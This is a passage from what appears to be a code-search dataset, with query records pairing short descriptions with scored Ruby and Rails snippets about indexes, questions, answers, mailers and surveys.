"ab0b91862801e7a620b1fb9aac3d89f1", "score": "0.5298356", "text": "def step_index( step = self.step )\n steps.index( step ) or fail( ArgumentError, \"invalid step name #{step}\" )\n end", "title": "" }, { "docid": "1706392ac86b38961da9590c7349f620", "score": "0.5293891", "text": "def get_index(pos=[0, 0])\r\n return pos[0]*9+pos[1]\r\n end", "title": "" }, { "docid": "2bd6a7f7e0a374ef3a8a3cd0d3fc8cc4", "score": "0.5278298", "text": "def list\n return index\n end", "title": "" }, { "docid": "3cf97b95482f6c40279579c98ebd7ba9", "score": "0.52679837", "text": "def index\n command = Goal::GoalIndexCommand.new(params)\n run(command)\n end", "title": "" }, { "docid": "eabe8173a119803b16ca54fd4e3dfef1", "score": "0.5265695", "text": "def start_index\n endpoints[0]\n end", "title": "" }, { "docid": "a960c8fe378c03f33967163a0e1fa1a4", "score": "0.52630323", "text": "def input_to_index(input) #Defined method to take in argrument (input / string from the user)\n index = input.to_i - 1 #input converted to a string, then subtracted one to access correct index in array\nend", "title": "" }, { "docid": "b9b233515d5f18893d42d27caf9f2b91", "score": "0.5253976", "text": "def head_index\n index(@@MIN_IDX, queued_episodes.first.try(:idx) || @@MAX_IDX)\n end", "title": "" }, { "docid": "075cc918e7e62656d7c53a4394a2b2a3", "score": "0.52494043", "text": "def weapon_index\n return @wep_check\n end", "title": "" }, { "docid": "924b32937a0dc2c0c16b1b324907bcce", "score": "0.5247913", "text": "def step\n step_with_index.first\n end", "title": "" }, { "docid": "924b32937a0dc2c0c16b1b324907bcce", "score": "0.5247913", "text": "def step\n step_with_index.first\n end", "title": "" }, { "docid": "192db71e313e1d63415cc7e3c0987f47", "score": "0.52472395", "text": "def get_player_index(player)\n players.index(player)\n end", "title": "" }, { "docid": "423b459f754b8a668f680d8c869921da", "score": "0.52433574", "text": "def getIndex(node)\n return getIndexAndOrNumber(node,INDEX)\n end", "title": "" }, { "docid": "a3a0a6652a18cbf0a25c530cea700871", "score": "0.5242983", "text": "def target_index\n return -1 unless within_original_tree?\n\n remaining_path = nest_path.sub(\"#{@document.nest_path}/\", '')\n current_component, _rest = remaining_path.split('/', 2)\n _name, index = current_component.split('#', 2)\n\n index&.to_i\n end", "title": "" }, { "docid": "5b6674687c22e150969003207201643f", "score": "0.5235341", "text": "def icon_index\n completed? ? H87Quest::COMPLETEDICON : H87Quest::UNCOMPLETEDICON\n end", "title": "" } ]
5767f2f56c08274c23749773e347fa72
associates the question as being asked from a specific company or community
[ { "docid": "120390b8e930c03f9ff37833ee08e641", "score": "0.0", "text": "def associate_member_with_community\n self.community.members << self.member unless self.community.members.include? self.member\n end", "title": "" } ]
[ { "docid": "ae06938b37d3ae4ee1f358505785d49c", "score": "0.65080476", "text": "def assign_question_to_campaign\n return if campaign.questions.include?(question)\n campaign.substitution_questions << question\n end", "title": "" }, { "docid": "8ac56c1592d696adb8dd1207c07f9b17", "score": "0.62543386", "text": "def ask(question, context, to, jid_user)\n puts \"Bot: #{question}\"\n @questions[to]=context\n end", "title": "" }, { "docid": "d223a5ec175540eee6ba0e4834b5f84a", "score": "0.6226444", "text": "def ask_questionaire\n alert_reserved_and_exit if git.reserved_branch?\n announce\n ask_title\n ask_label\n ask_pivotal_ids if config.use_pivotal_tracker\n ask_jira_ids if config.use_jira\n end", "title": "" }, { "docid": "9452014bc830b04cbc5d8d64090e5858", "score": "0.6089308", "text": "def new_question(question, recepient)\n if recepient.privacy_setting.notify_on_new_question \n @question, @recepient = question, recepient\n mail(\n :subject => \"#{@question.user.name} just asked a new question.\",\n :from => \"noreply@studyhall.com\",\n :to => recepient.email,\n :date => Time.now\n )\n end\n end", "title": "" }, { "docid": "1f586b2a2f5466fa3f38a12c5624f841", "score": "0.5937773", "text": "def accepted(target, question)\n @question = question\n\n mail to: target.email, subject: \"Your answer has been accepted!\"\n end", "title": "" }, { "docid": "01be3219006e1121e76b2335e86628a4", "score": "0.5910637", "text": "def set_community_question\n @community_question = CommunityQuestion.find(params[:id])\n end", "title": "" }, { "docid": "e7f34c94b3467bb6c495166555b17954", "score": "0.58855593", "text": "def company_survey_args\n survey_points.merge(other_answers).merge(company: @company)\n end", "title": "" }, { "docid": "1edd8d57c42f054f8e479de9d31d2170", "score": "0.58833903", "text": "def answer_to_question(answer)\n @recipients = answer.question.profile.email\n @subject = \"Your question has been answered\"\n self.body = {:question => answer.question, :answer => answer,\n :profile_url => url_for(:controller => :profiles, :action => :show, :id => answer.profile_id),\n :question_url => url_for(:controller => :questions, :action => :show, :id => answer.question_id),\n }\n end", "title": "" }, { "docid": "a1285bbd3945ec80a36f71a1e35b89c5", "score": "0.57930624", "text": "def new_answer(answer, commenter, author, question)\n if author.privacy_setting.notify_on_answer\n @answer, @commenter, @author, @question = answer, commenter, author, question\n mail(\n :subject => \"#{@commenter.name.titleize} just answered your question.\",\n :from => \"noreply@studyhall.com\",\n :to => author.email,\n :date => Time.now\n )\n end\n end", "title": "" }, { "docid": "5cb9544087384109e440b03ca0d0a83d", "score": "0.57867825", "text": "def notify_question_owner(answer)\n \t@answer = answer\n \t@question = answer.question\n \t@receiver = @question.user\n \tmail(to: @receiver.email,\n \t\t\t subject: \"You've got a new answer!\")\n end", "title": "" }, { "docid": "0cdf1cdc689b4ebc3e8ec80cb84a18f1", "score": "0.5782698", "text": "def confirm(question)\n new_scope.agree(question.confirm_question(self))\n end", "title": "" }, { "docid": "0cba9302a56a814a88452060d185e77c", "score": "0.57512033", "text": "def set_commonquestion\n @commonquestion = Commonquestion.find(params[:id])\n end", "title": "" }, { "docid": "1e2d85ca03860d7920e447df6b6457cc", "score": "0.5744761", "text": "def set_admin_academy_question\n @admin_academy_question = Academy::Question.find(params[:id])\n end", "title": "" }, { "docid": "330bc908424ceea0659a92bd3915e979", "score": "0.57086676", "text": "def set_question\n @course = Course.find(params[:course_id])\n @oh_time_slot = OhTimeSlot.find(params[:oh_time_slot_id])\n @oh_queue = OhQueue.find(params[:oh_queue_id])\n @question = Question.find(params[:id])\n end", "title": "" }, { "docid": "cfff2876e05f18c60c134e390b496755", "score": "0.57012874", "text": "def security_question_enter(question, answer)\n select(question, :from => securityquestion[:id])\n self.securityanswer.set answer\n end", "title": "" }, { "docid": "1286fce767ea8614cf52e9371e6bb55c", "score": "0.5646393", "text": "def set_inquiry_question\n @inquiry_question = InquiryQuestion.find(params[:id])\n end", "title": "" }, { "docid": "40b155919b4d37f1056b140dda7114c4", "score": "0.564497", "text": "def set_interview_question\n @interview_question = InterviewQuestion.find(params[:id])\n end", "title": "" }, { "docid": "6b7ccfb54cd68a0572e4b037a680e723", "score": "0.56061184", "text": "def chose_correct_answer\n @user = @receiver\n @notification = @user.notifications.find_by(path: \"/questions/#{@answer.question.id}\")\n subject = \"[bootcamp] #{@answer.receiver.login_name}さんの質問【 #{@answer.question.title} 】で#{@answer.sender.login_name}さんの回答がベストアンサーに選ばれました。\"\n mail to: @user.email, subject: subject\n end", "title": "" }, { "docid": "d16fad0b4124273105ce25a077949f32", "score": "0.5600844", "text": "def assign_applicant_object\n @confirmer = @is_group_member ? @group_member : @user_application\n end", "title": "" }, { "docid": "034eb356dcecbfb0dcdc00823e66b801", "score": "0.5578913", "text": "def question(course, user, question, qid)\n @course = course\n @user = user\n @question = question\n\n recipients = [course.owner.email, 'questions@idealme.com']\n mail to: recipients, from: \"#{course.slug}+#{qid}@questions.idealme.com\"\n end", "title": "" }, { "docid": "4f1317709df831b7eaa41b50d4aee862", "score": "0.5559745", "text": "def question_paper\n @company = Company.find(params[:id])\n @placement_exam = PlacementExam.find(params[:p_id])\n end", "title": "" }, { "docid": "3cd0970fa0bb77aebd3dc87bd6b6cde6", "score": "0.55556625", "text": "def customer_support(question, email)\n new_ticket = Slack::Notifier.new ENV['slack_webhook_url'],\n channel: \"#customer-support\",\n username: self.username\n message = \"#{self.username} asks #{question}. Email: #{email}\"\n new_ticket.ping message\n\n message\n end", "title": "" }, { "docid": "d4b458649c957bc9486aca1b949b956d", "score": "0.5527064", "text": "def ask_answer\n @sender_detail = SenderDetail.where(:unique_key => params[:link]).first\n if @sender_detail.nil?\n flash[:notice] = \"Invalid Token\"\n redirect_to sorry_path\n else\n @sender = EmailSender.find(@sender_detail.user_id).email\n \n @email = Email.find(@sender_detail.email_id)\n @listener = EmailSender.find(@email.listener_id)\n @question = @email.question\n end\n end", "title": "" }, { "docid": "8fcec8f136e91da173a997c1f5052904", "score": "0.55213517", "text": "def formulate_question\n @category = @user.available_questions.sample.keys\n @category_instance = Category.all.select {|cat| cat.name == @category[0]}\n category_hash = @user.available_questions.select {|h| h.keys == @category}\n @country = category_hash[0].values[0].sample\n @country_instance = Country.all.select {|cou| cou.name == @country}\n pose_question\n end", "title": "" }, { "docid": "c9a1f083ff71069dd986019fb568454e", "score": "0.55026144", "text": "def set_question_wanted\n @question_wanted = QuestionWanted.find(params[:id])\n end", "title": "" }, { "docid": "3177819a0e571cfbf4c47fc6919b1076", "score": "0.548703", "text": "def create\n question = current_user.questions.new(question_params)\n question.answers.first.creator = current_user\n question.save\n\n # users get one vote for their own questions by default\n # (so their karma/score improves as they create questions)\n current_user.vote_for(question)\n\n msg = %Q[Your question has been submitted! View it #{view_context.link_to(\"here\", qset_path(question_params[:qset_id]))}].html_safe\n redirect_to new_question_path, notice: msg, flash: { html_safe: true }\n end", "title": "" }, { "docid": "f28f632cbb759aebfeb672677a46999b", "score": "0.5478362", "text": "def ask_user_question\n return unless (@target = find_or_goto_index(User, params[:id].to_s)) &&\n can_email_user_question?(@target) &&\n request.method == \"POST\"\n\n subject = params[:email][:subject]\n content = params[:email][:content]\n QueuedEmail::UserQuestion.create_email(@user, @target, subject, content)\n flash_notice(:runtime_ask_user_question_success.t)\n redirect_to(user_path(@target.id))\n end", "title": "" }, { "docid": "024d9913142f8964ef6c577a4fefd875", "score": "0.5464178", "text": "def came_question\n @user = @receiver\n @notification = @user.notifications.find_by(path: \"/questions/#{@question.id}\")\n mail to: @user.email, subject: \"[bootcamp] #{@question.user.login_name}さんから質問がありました。\"\n end", "title": "" }, { "docid": "2cb72b1aedc81105b021b52e02c15181", "score": "0.5432416", "text": "def food_partner_confirmation_notice(enquiry)\n @enquiry = enquiry\n @food_partner = @enquiry.food_partner\n @customer = @enquiry.customer\n mail(subject: \"[team] #{@food_partner.company_name} confirmed order #{@enquiry.id}\")\n end", "title": "" }, { "docid": "c41d175222aa0687398330e3795a6c99", "score": "0.54132336", "text": "def interview_request(interview, employer, candidate)\n @interview = interview\n @employer = employer\n @candidate = candidate\n \n subject = \"Takeoff - Interview Request\"\n \n mail to: \"takeoff@interviewjet.com\", subject: subject\n \n \n end", "title": "" }, { "docid": "69e614094449b688ba7f36f4071b191b", "score": "0.5411441", "text": "def answer_to question\n session_data(:answered)[question.id.to_s]\n end", "title": "" }, { "docid": "bef47d94beb3d42b9f9bf98aa8355f73", "score": "0.5406119", "text": "def create_question(name, ideas = [])\n ideas = ideas.join(\"\\n\") if ideas.is_a? Array\n q = Pairwise::Question.create({\n :name => name,\n :visitor_identifier => @local_identifier.to_s,\n :local_identifier => @local_identifier.to_s,\n :ideas => ideas\n })\n q.it_should_autoactivate_ideas = true\n q.active = true\n q.save\n q\n end", "title": "" }, { "docid": "000b0216cc0b11b6498ede9a32615857", "score": "0.539361", "text": "def ask\n @poll_centre = PollCentre.find(@question.poll_centre_id)\n if @poll_centre.has_current_question?\n #then error\n output_error = {\"error\" => \"There is a question currently in progress. Please wait for it to finish\"}\n respond_to do |format|\n format.json { render json: output_error.to_json, status: :bad_request }\n end\n elsif @question.is_asked?\n output_error = {\"error\" => \"Question already asked\"}\n respond_to do |format|\n format.json { render json: output_error.to_json, status: :bad_request }\n end\n else\n @question.started = true\n if @question.save\n channel_name = @poll_centre.title\n Pusher[\"#{channel_name}\"].trigger('question-start', {\n question_text: @question.text,\n option_a: @question.option_a,\n option_b: @question.option_b,\n option_c: @question.option_c,\n option_d: @question.option_d,\n question_id: @question.id\n })\n respond_to do |format|\n format.json { render json: @question, status: :ok }\n end\n else\n output_error = {\"error\" => \"Couldn't ask question. Please try again.\"}\n respond_to do |format|\n format.json { render json: output_error.to_json, status: :bad_request }\n end\n end\n end\n end", "title": "" }, { "docid": "ea3d551dc0f8fd6c82ac8e8d6dd861b5", "score": "0.5391553", "text": "def similar_questions\n\n end", "title": "" }, { "docid": "7944e92d8ecaaaf8f63b87d96fac1fa8", "score": "0.538987", "text": "def contactUs(name, email, phone, question, contact_pref)\n @contact_pref = contact_pref\n @name = name\n @email = email\n @phone = phone\n @question = question\n @greeting = @name + \" \" + \"Has a question!\"\n @subject = \"User Question\"\n\n mail to: \"bubba99207@gmail.com\", subject: @subject\n end", "title": "" }, { "docid": "7a832098745cc484c051c95c37befb23", "score": "0.53796136", "text": "def email_questions(email,corpo)\n\t\t@email = email\n\t\t@corpo = corpo\n\t\tmail(to: 'naltispace@gmail.com',from: email, subject: 'Mensagem do CurriculumXD')\n\t\t# mail = Mail.new do\n\t\t# from email\n\t\t# to 'naltispace@gmail.com'\n\t\t# subject 'Mensagem do CurriculumXD'\n\t\t# body corpo\n\t\t# end\n\t\t# mail.deliver!\n\tend", "title": "" }, { "docid": "287c0ee8ae6b8ee494cdfa36d40beaa9", "score": "0.53769207", "text": "def answer question\n\n # find the value that should be entered\n data = request[question[:reference_identifier]]\n\n response_set.responses.where(question_id: question).delete_all\n\n case question.type\n\n when :none\n answer = question.answers.first\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => data\n })\n\n when :one\n # the value is the reference identifier of the target answer\n answer = question.answers.where(reference_identifier: data).first\n\n unless answer.nil?\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :any\n # the value is an array of the chosen answers\n answers = question.answers.where(reference_identifier: data)\n answers.each do |answer|\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :repeater\n # the value is an array of answers\n answer = question.answers.first\n i = 0\n data.each do |value|\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => value,\n response_group: i\n })\n i += 1\n end\n\n else\n throw \"not handled> #{question.inspect}\"\n end\n\n end", "title": "" }, { "docid": "287c0ee8ae6b8ee494cdfa36d40beaa9", "score": "0.53769207", "text": "def answer question\n\n # find the value that should be entered\n data = request[question[:reference_identifier]]\n\n response_set.responses.where(question_id: question).delete_all\n\n case question.type\n\n when :none\n answer = question.answers.first\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => data\n })\n\n when :one\n # the value is the reference identifier of the target answer\n answer = question.answers.where(reference_identifier: data).first\n\n unless answer.nil?\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :any\n # the value is an array of the chosen answers\n answers = question.answers.where(reference_identifier: data)\n answers.each do |answer|\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :repeater\n # the value is an array of answers\n answer = question.answers.first\n i = 0\n data.each do |value|\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => value,\n response_group: i\n })\n i += 1\n end\n\n else\n throw \"not handled> #{question.inspect}\"\n end\n\n end", "title": "" }, { "docid": "757ee6640b81fb740c11a4cb34ed60f7", "score": "0.5369949", "text": "def ask\n \"@all Question '#{@question}'\"\n end", "title": "" }, { "docid": "8f0b4508a451ee732639ca70da4b8a4b", "score": "0.53696185", "text": "def set_question\n @question = Discovery::Question.find(params[:id])\n end", "title": "" }, { "docid": "cc59ca10f6dd0de55540e150fe97dc3b", "score": "0.53570217", "text": "def set_question\n if(params[:formulary_index])\n @formulary = Formulary.find(params[:formulary_index])\n @question = @formulary.questions[params[:question_index]]\n else\n @question = Question.find(params[:index])\n end\n\n end", "title": "" }, { "docid": "d2f67f7ca66f43e2c0ff331101c5ae0e", "score": "0.53528583", "text": "def applies_to_questions\n self.dataset.questions.with_codes(self.codes)\n end", "title": "" }, { "docid": "0c34ea0d0916d0bbe72fe5c7f580316d", "score": "0.5350155", "text": "def send_survey\n Message.send_survey_to(self)\n end", "title": "" }, { "docid": "46d9bbf220c528df22c5f59c925a2d59", "score": "0.5349057", "text": "def comfirm_edit(collection_id, question_id, question)\r\n new_custom = @custom.custom_load\r\n new_custom['Custom'][collection_id - 1]['Content'][question_id - 1] = question\r\n save_custom_file(new_custom)\r\n enter_to_continue\r\n edit_single_question(collection_id, question)\r\n end", "title": "" }, { "docid": "7d82d737aedba1fdf3be8168413079a0", "score": "0.5345633", "text": "def set_research_question\n @research_question = ResearchQuestion.find(params[:id])\n end", "title": "" }, { "docid": "ae6457e6ba182e2e8c845f4ff543f2bc", "score": "0.5337531", "text": "def for_new_question\n @for_new_question ||= false\n end", "title": "" }, { "docid": "4b61949255bf9a0fc8055dd2ec24c451", "score": "0.5330922", "text": "def create_yatra_enquiry(yatra_enquiry, operator)\n @yatra_enquiry = yatra_enquiry\n @operator = operator\n mail(\n to: @operator.email,\n subject: 'JetSetGo - New Yatra Enquiry Received.'\n )\n end", "title": "" }, { "docid": "7a97701c206612d5b655ad90fc1abdde", "score": "0.5330544", "text": "def application_approved(exam_candidate)\n @exam_candidate = exam_candidate\n \n using_locale @exam_candidate.language do\n mail :to => @exam_candidate.email_address_with_name\n end\n end", "title": "" }, { "docid": "5fe3df8217e315fb90bd2efdd7ddfdee", "score": "0.5320702", "text": "def question(q, a)\n qu = Question.new(q,a)\n questions << qu\n @counter = 0 #Se inicializa el contador\n end", "title": "" }, { "docid": "76ab55149dedafe79173314c0278e229", "score": "0.5313414", "text": "def mark(_ = nil)\n publish_answers\n end", "title": "" }, { "docid": "98edf790ced26b39915f855741685a4b", "score": "0.5310274", "text": "def candidate_interview_request(interview, employer, candidate)\n @interview = interview\n @employer = employer\n @candidate = candidate\n \n subject = \"Congrats!! You have been selected for an Interview\"\n \n mail to: @candidate.email, subject: subject\n end", "title": "" }, { "docid": "62c1eabd37cc041da265a842ef3a4dc3", "score": "0.5309762", "text": "def set_question\n @question = Question.find(params[:project_id])\n end", "title": "" }, { "docid": "9f13fb1ed51f9818d58317b4faaf4ba2", "score": "0.52963483", "text": "def set_examquestion\n @examquestion = Examquestion.includes(:question, qpaper: :university_course ).find(params[:id])\n end", "title": "" }, { "docid": "c8218e73bb90b0a8abe4280e6d80c4d2", "score": "0.52925795", "text": "def set_essay_question\n @essay_question = EssayQuestion.find(params[:id])\n end", "title": "" }, { "docid": "e1a1ec0fb37064843084f79587957e88", "score": "0.528112", "text": "def send_registration_question\n @account = Account.find_by_msisdn(params[:msisdn])\n academic_level = AcademicLevel.find_by_id(params[:academic_level_id])\n\n unless academic_level\n question = QuestionType.general_knowledge_question_type.questions.where(\"published IS NOT FALSE AND id > #{@account.current_question.to_i}\").first rescue QuestionType.general_knowledge_question_type.questions.where(\"published IS NOT FALSE\").first rescue nil\n else\n question = @account.academic_level.questions.where(\"published IS NOT FALSE AND id > #{@account.current_question.to_i}\").first rescue @account.academic_level.questions.where(\"published IS NOT FALSE\").first rescue nil\n end\n\n if !question.blank?\n send_question(question.wording)\n if @response\n @account.update_attributes(current_question: question.id, daily_count: (@account.daily_count.to_i + 1))\n end\n end\n\n render text: @response\n end", "title": "" }, { "docid": "a0de10ab9659985cc4a0e384dc16dbd8", "score": "0.5280356", "text": "def set_enquiry\n @enquiry = @product.enquiries.find(params[:id])\n end", "title": "" }, { "docid": "1e7b35acca803facf3a849327c2484e3", "score": "0.5277152", "text": "def ask(question)\n answer = 'n'\n answer = 'y' if agree(\"#{question} (y/n) \")\n answer\n end", "title": "" }, { "docid": "6e53ca3e4a541185ba63e6a223c685ba", "score": "0.52725923", "text": "def question_answered(user, ig_media_id)\n @user = user\n @request = Request.where(:photo_id => Photo.where(:ig_media_id => ig_media_id).first.id).first\n #... send email to user telling him that his question was answered\n\n mail to: @user.email, subject: \"Your question on #{@request.photo.venue.name} has been answered\"\n end", "title": "" }, { "docid": "6b1c41014161d3ef675f2e45431bd063", "score": "0.52683365", "text": "def ask_questions\n super\n print \"What was your reason for joining? \"\n self.reason_for_joining = gets.strip.chomp\n end", "title": "" }, { "docid": "0995fd79c3af9406380f82f7cf543e21", "score": "0.52673846", "text": "def answer\n question = Question.joins(:subscriptions, :answers).first\n raise \"No subsriptions, cannot create sample\" if question.nil?\n CustomMailer.answer(question.user, question.answers.first)\n end", "title": "" }, { "docid": "ad31648dce19f1c9fef70eed9de6fd47", "score": "0.52577066", "text": "def perform(user, questions)\n \n end", "title": "" }, { "docid": "464c2484b0b2030d282ae6b479ebfcc8", "score": "0.5256002", "text": "def set_question\n @question = Question.friendly.find(params[:id])\n end", "title": "" }, { "docid": "7276bf78820642e90050aa209be9f5fe", "score": "0.5253644", "text": "def ep_notify(form_answer_id, collaborator_id)\n @form_answer = FormAnswer.find(form_answer_id).decorate\n @user = @form_answer.user.decorate\n collaborator = User.find(collaborator_id)\n\n @current_year = @form_answer.award_year.year\n @subject = \"King's Awards for Enterprise Promotion: Thank you for your nomination\"\n\n send_mail_if_not_bounces ENV['GOV_UK_NOTIFY_API_TEMPLATE_ID'], to: collaborator.email, subject: subject_with_env_prefix(@subject)\n end", "title": "" }, { "docid": "096b4f39819b51d176c4c307bdf18cff", "score": "0.5244633", "text": "def create\n\t\tif @audit.update_attributes(question_params)\n @audit.nc_questions.update_all(company_id: current_company.id)\n flash[:notice] = \"Your requests were added successfully\"\n redirect_to new_audit_nc_question_path\n else\n flash[:error] = \"Something went wrong and requests were not added\"\n\t\t\trender \"new\"\n\t\tend\n\tend", "title": "" }, { "docid": "072f821aa1e9ecd167c47c4d6b1ad9b6", "score": "0.52381474", "text": "def community_question_params\n params.require(:community_question).permit(:userId, :communityId, :question)\n end", "title": "" }, { "docid": "d1ff32e5e99f125347927a20c9b0def6", "score": "0.5236964", "text": "def set_question\n @question = Question.find_by(id: params[:question_id])\n end", "title": "" }, { "docid": "e86d43141e64b2508870d65d99669b13", "score": "0.5236922", "text": "def add_question\n @event.respond('Enter a new question: ')\n ques = @event.user.await!(timeout: 60)\n return open_channel if ques.nil?\n\n ques = ques.content\n @event.respond('Enter the answer: ')\n ans = @event.user.await!(timeout: 60)\n return open_channel if ans.nil?\n\n ans = ans.content.gsub(/\\W/, '').downcase # Clean up the answer by removing caps and non [a-z] [0-9] chars\n @event.respond('Commit to database? (y/n): ')\n prompt = @event.user.await!(timeout: 60)\n unless prompt.nil? || prompt.content != 'y'\n begin\n @@trivia_db.prepare('INSERT INTO trivia(question, answer, addedby) VALUES(?, ?, ?)').execute(ques, ans, @event.user.id)\n rescue SQLite3::Exception\n @event.respond('Unable to write to database!')\n else\n @event.respond('Changes saved')\n end\n end\n open_channel\n end", "title": "" }, { "docid": "a8eb9f31669c06eb5285c622fbe4bb9e", "score": "0.52357185", "text": "def ask_question\n\n end", "title": "" }, { "docid": "da68d806c765385743f819d85d3df0cf", "score": "0.52298623", "text": "def open_answer_question(text, points, correctAnswer)\n question = OpenQuestion.new(text, points, NIE)\n @errorReporter.register question\n @test.add_question question\n correct_answer(correctAnswer)\nend", "title": "" }, { "docid": "4d3049eda70db55e9485febec488b6be", "score": "0.5227045", "text": "def create_reply\n msg = self.dup\n msg.performative = \"agree\"\n msg.receiver = msg.sender\n msg.sender = aid\n msg.in_reply_to = msg.reply_with\n msg\n end", "title": "" }, { "docid": "9dddb8a388c28b25b1d0d63bda9d1bc1", "score": "0.522252", "text": "def add_question(question)\n @questions << question\n end", "title": "" }, { "docid": "7a35213100df793c50e92653ab32ac7f", "score": "0.52202004", "text": "def submit_enquiry(enquiry)\n @enquiry = enquiry\n mail(:subject => \"new enquiry from #{enquiry.name}\")\n end", "title": "" }, { "docid": "eb8f33863fc1de0935aef117123a5b89", "score": "0.5209274", "text": "def thanks\n \t@suggested_article = SuggestedArticle.new(name: 'Emanuel', email: 'emanuel@gmail.com', body: 'Sugestão de artigo')\n SuggestedArticleMailer.thanks(@suggested_article)\n end", "title": "" }, { "docid": "01ad2114ef7690fe5971c410acfb435e", "score": "0.5200658", "text": "def questions\n \n end", "title": "" }, { "docid": "95d1e45d7ee5a0adcab564936f170ecc", "score": "0.5200571", "text": "def set_asked_to_answer\n @asked_to_answer = AskedToAnswer.find(params[:id])\n end", "title": "" }, { "docid": "5f48109b57a82f4b7b7cb70ed2e67972", "score": "0.51974577", "text": "def invite_via_suggestion\n @user = User.create_with_organisation_membership_from_project_invite @invite\n\n if @user.valid?\n RequestMailer.invite_via_suggestion @user, @invite, current_user\n\n @invite.set_handled_suggested_user!\n redirect_to :dashboard, notice: \"#{@user.email} has been sent an invite\"\n elsif account_has_been_claimed? @user\n @invite.set_handled_suggested_user!\n redirect_to :dashboard, notice: \"This user has already been invited to Digital Social\" \n else\n redirect_to :dashboard, alert: \"There was an error inviting #{@user.email}, please try again later.\" \n end\n end", "title": "" }, { "docid": "0a67c3d2cf937982f1402eceba619d0c", "score": "0.51969826", "text": "def send_mail_to_associates\n user = self.matter_people.assignee\n if(@is_changed && user && User.current_user!=user)\n send_notification_to_responsible(user,self,User.current_user)\n @is_changed = false\n\n true\n end\n end", "title": "" }, { "docid": "ed578ba1f1e3f7cea62b50fcec298b03", "score": "0.51956165", "text": "def set_question\n @question = Question.find(params[\"question_id\"])\n end", "title": "" }, { "docid": "22e6dfb9b5e0510cd88ccef74c00bc3c", "score": "0.5190045", "text": "def set_questionnaire\n questionnaire_reference.reference = \"Questionnaire/#{DEFAULT_QUESTIONNAIRE_ID}\"\n end", "title": "" }, { "docid": "81827f61766873ee04139d641a469029", "score": "0.51874083", "text": "def ask_question\n @game_id = params[:game_id]\n @current_game = Game.find(@game_id)\n @bonus = params[:bonus]\n unless @current_game.players_turn?(current_user.id)\n back_to_index and return\n end\n\n if @current_game.normal_round?\n subject_title = params[:subject]\n @subject = subject_title\n @questions = Question.questions_by_user_experience(current_user.experience_level, @subject)\n @question = @questions.sample\n elsif @current_game.challenge_round?\n @challenge = Challenge::get_ongoing_challenge_by_game(@current_game.id)\n if @challenge\n @question = Question.find(@challenge.get_question_id_by_counter)\n @subject = @question.subject_title\n elsif @challenge.nil?\n wager = params[:wager]\n prize = params[:prize]\n if wager && prize\n @challenge = Challenge.create_challenge(@current_game.id, current_user.id, @current_game.opponent_id(current_user.id), wager, prize)\n else\n redirect_to game_challenge_path(:game_id => @current_game.id)\n end\n end\n end\n if @question\n respond_to do |format|\n format.html\n format.xml { render :xml => @question }\n end\n end\n end", "title": "" }, { "docid": "afd7349fe84bb5d592c1e4be04b14a09", "score": "0.51834095", "text": "def set_quizzes_question\n @quizzes_question = @question = (@quiz ? @quiz.questions : Quizzes::Question).find(params[:id])\n @quiz = @question.quiz\n @group = @quiz.group\n end", "title": "" }, { "docid": "6df495f080e84ec2961855497918a9ff", "score": "0.5180256", "text": "def set_survey_question_relationship\n @survey_question_relationship = SurveyQuestionRelationship.find(params[:id])\n end", "title": "" }, { "docid": "1a9232a28119255049c5a965ed4b0e02", "score": "0.5178503", "text": "def question\n answer.question\n end", "title": "" }, { "docid": "4d33b4b47a13185999bd9a2c6dab6892", "score": "0.51779115", "text": "def qualification_match(an_issue, expert_list, sent_at = Time.now.utc)\n subject \"You qualify for '{subject}'\".t.gsub(/\\{subject\\}/, an_issue.subject)\n# recipients expert_list.collect {|e| e.email } # an_expert.email\n bcc expert_list.collect {|e| e.email } # an_expert.email\n from Notifier.noreply_email\n sent_on sent_at\n body(:issue => an_issue)\n end", "title": "" }, { "docid": "66dec9816b349b2c9aeebf5272e1471c", "score": "0.5175603", "text": "def send_survey\n @company.save\n @company.reload\n\n body = sprintf(SURVEY_EMAIL_TEMPLATE,\n name: @company.name,\n link: company_url(@company.uuid))\n\n send_email(sender: SURVEY_EMAIL_SENDER,\n recipients: @company.emails,\n subject: SURVEY_EMAIL_SUBJECT,\n html_body: body)\n end", "title": "" }, { "docid": "179017586ed27493989360baa9581f90", "score": "0.51666963", "text": "def create\n @question = Question.new(question_params)\n if current_user.has_role? :iAsk\n @question.platform_type = 0\n elsif current_user.has_role? :udn\n @question.platform_type = 1 \n elsif current_user.has_role? :reader\n @question.platform_type = 2\n elsif current_user.has_role? :admin\n @question.platform_type = session[:platform_id]\n end\n\n if @question.question_type == \"vignette\" or @question.question_type == \"nonchoice\"\n @question.answer = \"\"\n end\n respond_to do |format|\n if @question.save\n format.html { redirect_to paper_questions_path, notice: '題目已被成功建立' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b0daccf9262d935e4b0345516e710f33", "score": "0.51635414", "text": "def set_groupquestionreply\n @groupquestionreply = Groupquestionreply.find(params[:id])\n end", "title": "" }, { "docid": "89b3fcbbf54bcd3020020424863a106e", "score": "0.51611125", "text": "def set_question\n @question = current_user.questions.find(params[:id])\n end", "title": "" }, { "docid": "6ba28cbfd294f08f4e9fab0ccf142219", "score": "0.5152767", "text": "def question_answered(data, user, answer, _options_string)\n @user = user\n @username = @user.name\n @answer = answer\n @question_title = @answer.question.text.to_s\n @plan_title = @answer.plan.title.to_s\n @template_title = @answer.plan.template.title.to_s\n @data = data\n @recipient_name = @data['name'].to_s\n @message = @data['message'].to_s\n @answer_text = @options_string.to_s\n @helpdesk_email = helpdesk_email(org: @user.org)\n\n I18n.with_locale I18n.default_locale do\n mail(to: data['email'],\n subject: data['subject'])\n end\n end", "title": "" }, { "docid": "9b0af2169834291b211e8511b09877c8", "score": "0.5145873", "text": "def send_mail_to_associates\n unless self.matter_people.blank?\n user = self.matter_people.assignee\n if(@is_changed && user && User.current_user!=user)\n send_notification_to_responsible(user,self,User.current_user)\n @is_changed = false\n\n true\n end\n end\n end", "title": "" }, { "docid": "4c29ad366b0dbbe9cec4f9c493735888", "score": "0.5145268", "text": "def set_question\n @question = Question.find(params[:question_id])\n 